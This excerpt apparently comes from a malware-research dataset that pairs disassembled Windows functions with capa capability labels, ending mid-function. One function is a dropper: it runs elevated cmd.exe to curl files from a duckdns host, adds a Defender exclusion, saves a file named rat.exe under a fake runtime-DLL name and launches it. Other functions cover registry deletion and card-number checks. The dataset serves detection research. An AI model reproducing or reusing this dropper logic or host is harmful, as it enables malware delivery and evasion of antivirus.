joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14008d6b0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
test r8, r8
je 0x14008d72a
mov rax, rdx
mov rdx, qword [rsp + 0x70]
mov esi, ecx
shr esi, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov rbx, rax
movzx edi, byte [rax + 1]
add rax, 2
lea r10, [r11 + rdi]
cmp byte [rbx], sil
jne 0x14008d720
cmp r11, r10
ja 0x14008d7c3
cmp r10, rdx
ja 0x14008d7d7
add r11, r9
xor ebx, ebx
nop dword [rax]
cmp rdi, rbx
je 0x14008d722
lea r14, [rbx + 1]
cmp byte [r11 + rbx], cl
mov rbx, r14
jne 0x14008d700
jmp 0x14008d797
ja 0x14008d72a
mov r11, r10
cmp rax, r8
jne 0x14008d6d2
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x14008d79b
mov r8, qword [rsp + 0x78]
add rdx, r8
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r10, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
js 0x14008d770
mov r8, r10
sub ecx, r9d
jns 0x14008d78e
jmp 0x14008d79d
cmp r10, rdx
je 0x14008d7a9
movzx r10d, byte [r8 + 1]
add r8, 2
and r9d, 0x7f
shl r9d, 8
or r9d, r10d
sub ecx, r9d
js 0x14008d79d
xor al, 1
cmp r8, rdx
jne 0x14008d750
jmp 0x14008d79d
xor eax, eax
jmp 0x14008d79d
mov al, 1
and al, 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, [0x1400b62b9]
lea r8, str.librarycore_srcunicodeprintable.rs
mov edx, 0x2b
call fcn.1400a2650
ud2
lea r8, str.0p_v_
mov rcx, r11
mov rdx, r10
call fcn.1400a2af0
ud2
lea r8, str.0p_v_
mov rcx, r10
call fcn.1400a2a80
ud2

Function at 0x14008f4a8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14008f4f2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14008f4f2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14008f4f2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14008f4f2
cmp dword [rcx + 0x84], 0xe
jbe 0x14008f4f2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14008f4f4
xor al, al
add rsp, 0x28
ret

Function at 0x140094ed4
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140094cc4
Function at 0x1400980d8
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140098108
xor eax, eax
jmp 0x1400981cb
mov rbp, rbx
cmp word [rax], si
je 0x14009812d
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140098114
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140098110
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140098028
movsxd r14, eax
test eax, eax
jne 0x14009816b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140098101
mov rcx, r14
call fcn.140098f8c
mov rdi, rax
test rax, rax
jne 0x140098184
xor ecx, ecx
call fcn.1400966b8
jmp 0x140098160
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140098028
test eax, eax
jne 0x1400981b5
mov rcx, rdi
call fcn.1400966b8
jmp 0x1400981bf
xor ecx, ecx
call fcn.1400966b8
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14009b90c
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14009712c
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14009b996
cmp byte [rbp - 0x21], r15b
je 0x14009b991
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14009b9cc
call fcn.1400997ac
test eax, eax
jne 0x14009b9b8
cmp byte [rbp - 0x21], r15b
je 0x14009b9b0
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14009b9cc
cmp byte [rbp - 0x21], r15b
je 0x14009b9c9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.140096708
test eax, eax
jne 0x14009ba6c
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14009712c
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14009ba0b
cmp byte [rbp - 0x21], r15b
je 0x14009ba40
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14009ba40
call fcn.1400997ac
test eax, eax
jne 0x14009ba2c
cmp byte [rbp - 0x21], r15b
je 0x14009ba25
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14009ba40
cmp byte [rbp - 0x21], r15b
je 0x14009ba3d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.140096708
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14009ba6c
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14009ba6f
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14009ba7d
mov rcx, rdi
call fcn.1400966b8
cmp byte [rbp + 0x3f], r15b
je 0x14009ba8c
mov rcx, qword [rbp + 0x27]
call fcn.1400966b8
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x1400a1270
Capabilities:
Link many functions at runtime

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x48
lea rbp, [rsp + 0x40]
mov qword [rbp], 0xfffffffffffffffe
lea rcx, str.api_ms_win_core_synch_l1_2_0.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x1400a12d1
mov rdi, rax
lea rdx, [0x1400acf16]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400a12d1
mov rsi, rax
lea rdx, [0x1400acf24]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400a12d1
mov rdi, rax
xor ebx, ebx
jmp 0x1400a1357
lea rcx, [0x1400aceb0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x1400a13cb
mov rsi, rax
lea rdx, [0x1400aceba]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400a13cb
mov rdi, rax
lea rdx, [0x1400acecd]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400a13cb
mov rbx, rax
lea rdx, [0x1400acee1]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400a13cb
mov rsi, rax
lea rcx, [rbp - 0x18]
mov edx, 0xc0000000
xor r8d, r8d
xor r9d, r9d
call rdi
test eax, eax
jne 0x1400a13cb
mov rdi, qword [rbp - 0x18]
movzx eax, byte [0x1400f0c01]
mov ecx, 0x18
mov edx, 8
call fcn.14003fc50
test rax, rax
je 0x1400a13d2
mov rcx, rax
mov qword [rax], rbx
mov qword [rax + 8], rsi
mov qword [rax + 0x10], rdi
xor eax, eax
lock cmpxchg qword [0x1400f0c18], rcx
je 0x1400a13bf
mov rsi, rax
cmp qword [rcx], 0
mov qword [rbp - 8], rcx
je 0x1400a13a8
mov rax, qword [rbp - 8]
mov rcx, qword [rax + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0x18
mov r8d, 8
mov rcx, qword [rbp - 8]
call fcn.14003fc60
mov rcx, rsi
mov rax, rcx
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop rbp
ret
call fcn.1400a1230
jmp 0x1400a13e9
mov qword [rbp - 0x10], rdi
mov qword [rbp - 8], rbx
mov ecx, 8
mov edx, 0x18
call fcn.1400a2540
ud2
Function at 0x140001000
Capabilities:
Create process on windows

Disassembly:
push rbx
sub rsp, 0x40
xor ebx, ebx
lea r9, str._c_curl_https:__wijaxcnjw.duckdns.org_RUN_
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
lea rdx, str.runas
mov qword [rsp + 0x20], rbx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea r9, str._c_powershell__Command_Add_MpPreference__ExclusionPath_C:
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
add rax, 0x989680
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x30], rax
call fcn.140001150
lea r9, str._c_curl___output__temp_launch.exe_https:__wijaxcnjw.duckdns.org_3398tfb3w7846tg09ew8r7fywe08rcn7ys8d97nch0ewu8340r93y7gaasdawad21ko_8394f03e8funm023ef1qlap_l_d3eo0idk3i0jef9349fh9534ghfdjkgbwsf43e2ewdsadhjuw3r8gg8_ATLauncher_setup.exe
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
add rax, 0x5f5e100
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x30], rax
call fcn.140001150
lea r9, str._c_start__temp_launch.exe
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea r9, str._c_curl___output__temp_ms_win_crt_environment_l1_1_0.exe_https:__wijaxcnjw.duckdns.org_3398tfb3w7846tg09ew8r7fywe08rcn7ys8d97nch0ewu8340r93y7gaasdawad21ko_8394f03e8funm023ef1qlap_l_d3eo0idk3i0jef9349fh9534ghfdjkgbwsf43e2ewdsadhjuw3r8gg8_rat.exe
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
add rax, 0x5f5e100
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x30], rax
call fcn.140001150
lea r9, str._c_start__temp_ms_win_crt_environment_l1_1_0.exe
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
add rsp, 0x40
pop rbx
ret

Function at 0x140001afc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001b46
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b46
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001b46
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b46
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b46
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b48
xor al, al
add rsp, 0x28
ret
Function at 0x14000456c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140004398
Function at 0x2fc4da0c0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x2fc4daac2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4ff108]
test eax, eax
je 0x2fc4dab5a
lea rax, [0x2fc4ff0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4ff110]
mov qword [rbp - 8], rax
jmp 0x2fc4dab3e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4dab32
cmp qword [rbp - 0x10], 0
je 0x2fc4dab32
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4daaf8
lea rax, [0x2fc4ff0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4dab5b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4dac60
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4dac88
mov eax, 0
jmp 0x2fc4dacd6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4dacb1
mov eax, 0
jmp 0x2fc4dacd6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4dacd1
mov eax, 0
jmp 0x2fc4dacd6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4dacdc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4dad5a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4dad51
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4dad51
mov rax, qword [rbp - 8]
jmp 0x2fc4dad6f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4dad24
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x14000ddac
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x1c8]
sub rsp, 0x2a0
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x140184e90]
xor rax, rsp
mov qword [rbp + 0x190], rax
mov r14, rcx
mov r12, qword [rbp + 0x1f0]
mov edi, 1
mov rbx, qword [0x14018b4f0]
mov edx, 0x81
lea r8d, [rdx + 0x6f]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
xor r13d, r13d
test rax, rax
je 0x14000df34
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x14000df34
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x14000df34
movzx esi, word [rbx]
cmp r13w, si
je 0x14000df34
movzx eax, word [rbx + 2]
mov r15d, dword [rbx + 4]
add rbx, 8
mov ecx, 0x403
cmp cx, ax
jne 0x14000deb9
mov rdx, rbx
lea rcx, [rsp + 0x70]
call fcn.14000e478
nop
movzx edx, si
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, 0x143
mov rcx, qword [r14 + 8]
call qword [sym.imp.USER32.dll_SendDlgItemMessageW]
cmp rax, 0xffffffffffffffff
cmove edi, r13d
lea rax, [rsp + 0x78]
mov rcx, qword [rsp + 0x70]
cmp rcx, rax
je 0x14000df29
call fcn.1400b1748
jmp 0x14000df29
mov ecx, 0x1234
cmp cx, ax
jne 0x14000df29
mov dword [rsp + 0x38], 1
or qword [rsp + 0x40], 0xffffffffffffffff
mov rdx, rbx
lea rcx, [rbp + 0x80]
call fcn.14000e478
nop
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x88]
mov rcx, qword [rbp + 0x80]
cmp rcx, rax
je 0x14000df01
call fcn.1400b1748
movzx edx, si
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, 0x40b
mov rcx, qword [r14 + 8]
call qword [sym.imp.USER32.dll_SendDlgItemMessageW]
cmp rax, 0xffffffffffffffff
cmove edi, r13d
add rbx, r15
test edi, edi
jne 0x14000de4a
mov dl, 1
mov rcx, r14
call fcn.14000f510
mov dword [r12], r13d
mov eax, 1
mov rcx, qword [rbp + 0x190]
xor rcx, rsp
call fcn.1400b0c90
lea r11, [rsp + 0x2a0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x1400174c4
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov rbx, qword [rcx + 0x10]
mov rdi, rdx
test rbx, rbx
je 0x14001753f
cmp qword [rbx], 0
mov rsi, qword [rcx]
je 0x14001752d
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140017538
lea rdx, str.RegDeleteKeyTransactedW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140017538
mov rdx, qword [rbx]
and qword [rsp + 0x28], 0
xor r9d, r9d
mov qword [rsp + 0x20], rdx
xor r8d, r8d
mov rcx, rsi
mov rdx, rdi
call rax
jmp 0x140017548
cmp dword [rbx + 8], 0
je 0x140017538
mov rcx, rsi
jmp 0x140017542
mov eax, 1
jmp 0x140017548
mov rcx, qword [rcx]
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret

Function at 0x140017788
Capabilities:
Query or enumerate registry key

Disassembly:
mov rax, rsp
push rbp
push rsi
push rdi
lea rbp, [rax - 0x198]
sub rsp, 0x280
mov qword [rsp + 0x68], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov rax, qword [0x140184e90]
xor rax, rsp
mov qword [rbp + 0x170], rax
mov rsi, rdx
mov rdi, rcx
xor eax, eax
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x50], eax
mov qword [rsp + 0x58], rax
mov r9d, dword [rcx + 8]
or r9d, 0x2001f
mov r8, rdx
mov rdx, qword [rcx]
lea rcx, [rsp + 0x48]
call fcn.140017618
jmp 0x1400177fc
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x48]
call fcn.140017788
test eax, eax
mov ebx, eax
jne 0x140017866
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
xor ebx, ebx
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
mov dword [rsp + 0x40], 0x100
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x70]
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x1400177ed
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x140017855
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x48], rbx
mov dword [rsp + 0x50], ebx
mov rdx, rsi
mov rcx, rdi
call fcn.1400174c4
mov ebx, eax
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x14001787c
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
and qword [rsp + 0x48], 0
and dword [rsp + 0x50], 0
mov eax, ebx
mov rcx, qword [rbp + 0x170]
xor rcx, rsp
call fcn.1400b0c90
mov rbx, qword [rsp + 0x2b0]
add rsp, 0x280
pop rdi
pop rsi
pop rbp
ret
Function at 0x140019ff8
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov r11d, dword [0x14018cd80]
mov rbx, rdx
mov rbp, r9
lea eax, [r11 + 1]
lea r10d, [r11 + 2]
mov rsi, r8
mov rdi, rcx
imul r10d, eax
mov eax, 0x78787879
imul r10d, r11d
imul r10d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x11
sub r10d, edx
cmp r10d, 0xf
jne 0x14001a08e
mov eax, 0x51eb851f
imul r11d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [r10 - 0xb]
imul edx, edx, 0x64
sub r11d, edx
add r11d, 0x7b
movsxd rcx, r11d
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.1400b0308
mov rcx, rax
call fcn.1400b13b8
xorps xmm0, xmm0
cvtsi2sd xmm0, rbx
test rbx, rbx
jns 0x14001a0a3
addsd xmm0, qword [0x140122080]
divsd xmm0, qword [0x140122048]
call fcn.1400d0e10
movsd xmm1, qword [0x140122078]
xor eax, eax
mulsd xmm0, qword [0x140122050]
comisd xmm0, xmm1
jb 0x14001a0df
subsd xmm0, xmm1
comisd xmm0, xmm1
jae 0x14001a0df
movabs rcx, 0x8000000000000000
mov rax, rcx
cvttsd2si r9, xmm0
xor r8d, r8d
add r9, rax
test rdi, rdi
je 0x14001a1f7
test rsi, rsi
je 0x14001a1f7
cmp r9, rbp
ja 0x14001a1f7
mov edx, r8d
lea rbp, [0x140000000]
test rbx, rbx
je 0x14001a1b0
mov r10, rsi
cmp rdx, rbx
jae 0x14001a129
movzx eax, byte [rdx + rdi]
inc rdx
jmp 0x14001a12c
mov eax, r8d
cmp rdx, rbx
jae 0x14001a13b
movzx r11d, byte [rdx + rdi]
inc rdx
jmp 0x14001a13e
mov r11d, r8d
cmp rdx, rbx
jae 0x14001a14c
movzx ecx, byte [rdx + rdi]
inc rdx
jmp 0x14001a14f
mov ecx, r8d
shl eax, 8
add eax, r11d
shl eax, 8
add eax, ecx
mov ecx, eax
shr rax, 0x12
and eax, 0x3f
mov al, byte [rax + rbp + 0x187d60]
mov byte [r10], al
mov eax, ecx
add r10, 4
shr rax, 0xc
and eax, 0x3f
mov al, byte [rax + rbp + 0x187d60]
mov byte [r10 - 3], al
mov eax, ecx
and ecx, 0x3f
shr rax, 6
and eax, 0x3f
mov al, byte [rax + rbp + 0x187d60]
mov byte [r10 - 2], al
mov al, byte [rcx + rbp + 0x187d60]
mov byte [r10 - 1], al
cmp rdx, rbx
jb 0x14001a120
movabs rax, 0xaaaaaaaaaaaaaaab
mul rbx
shr rdx, 1
lea rax, [rdx + rdx*2]
sub rbx, rax
cmp dword [rbp + rbx*4 + 0x11e138], r8d
jle 0x14001a1eb
lea rcx, [rsi - 1]
add rcx, r9
mov byte [rcx], 0x3d
inc r8d
dec rcx
cmp r8d, dword [rbp + rbx*4 + 0x11e138]
jl 0x14001a1d8
mov rcx, qword [rsp + 0x50]
mov al, 1
mov qword [rcx], r9
jmp 0x14001a1f9
xor al, al
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14001a5bc
Capabilities:
Validate payment card number using luhn algorithm

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
push rbp
push rsi
push rdi
sub rsp, 0x30
mov qword [rax - 0x20], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov rbp, rdx
mov rdi, rcx
and dword [rax - 0x28], 0
mov esi, dword [0x14018cd80]
lea r8d, [rsi + 2]
lea eax, [rsi + 1]
imul r8d, eax
imul r8d, esi
mov eax, 0x66666667
imul r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub r8d, eax
cmp r8d, 9
jne 0x14001a65f
xor ecx, ecx
mov r9d, 0xfa
mov eax, esi
cdq
sub eax, edx
sar eax, 1
mov ebx, eax
test ebx, ebx
jle 0x14001a658
mov eax, esi
cdq
and edx, 3
add eax, edx
sar eax, 2
xor r8d, r8d
mov r11, rbx
test eax, eax
jle 0x14001a650
mov edx, r8d
mov r10d, eax
add r9d, edx
dec edx
dec r10
jne 0x14001a646
add r8d, ecx
dec r11
jne 0x14001a63c
inc ecx
cmp ecx, r9d
jl 0x14001a627
lea rcx, [0x1401849a8]
mov rax, qword [0x1401849a8]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x60], rax
mov ecx, dword [0x14018cd80]
lea edx, [rcx + 2]
lea eax, [rcx + 1]
imul edx, eax
imul edx, ecx
and edx, 0x80000007
jge 0x14001a69a
dec edx
or edx, 0xfffffff8
inc edx
mov eax, dword [0x14018d078]
mov ecx, 0xdefdd61e
cmp edx, 7
cmove eax, ecx
mov dword [0x14018d078], eax
lea rdx, [rsp + 0x60]
mov rcx, rbp
call fcn.14001ee48
mov qword [rdi + 0x18], 0xf
and qword [rdi + 0x10], 0
mov byte [rdi], 0
or rsi, 0xffffffffffffffff
mov rbx, qword [rsp + 0x60]
cmp byte [rbx], 0
jne 0x14001a6e1
xor r8d, r8d
jmp 0x14001a6ee
mov r8, rsi
inc r8
cmp byte [rbx + r8], 0
jne 0x14001a6e4
mov rdx, rbx
mov rcx, rdi
call fcn.1400013c8
mov dword [rsp + 0x20], 1
lea rdx, [rbx - 0x18]
mov eax, esi
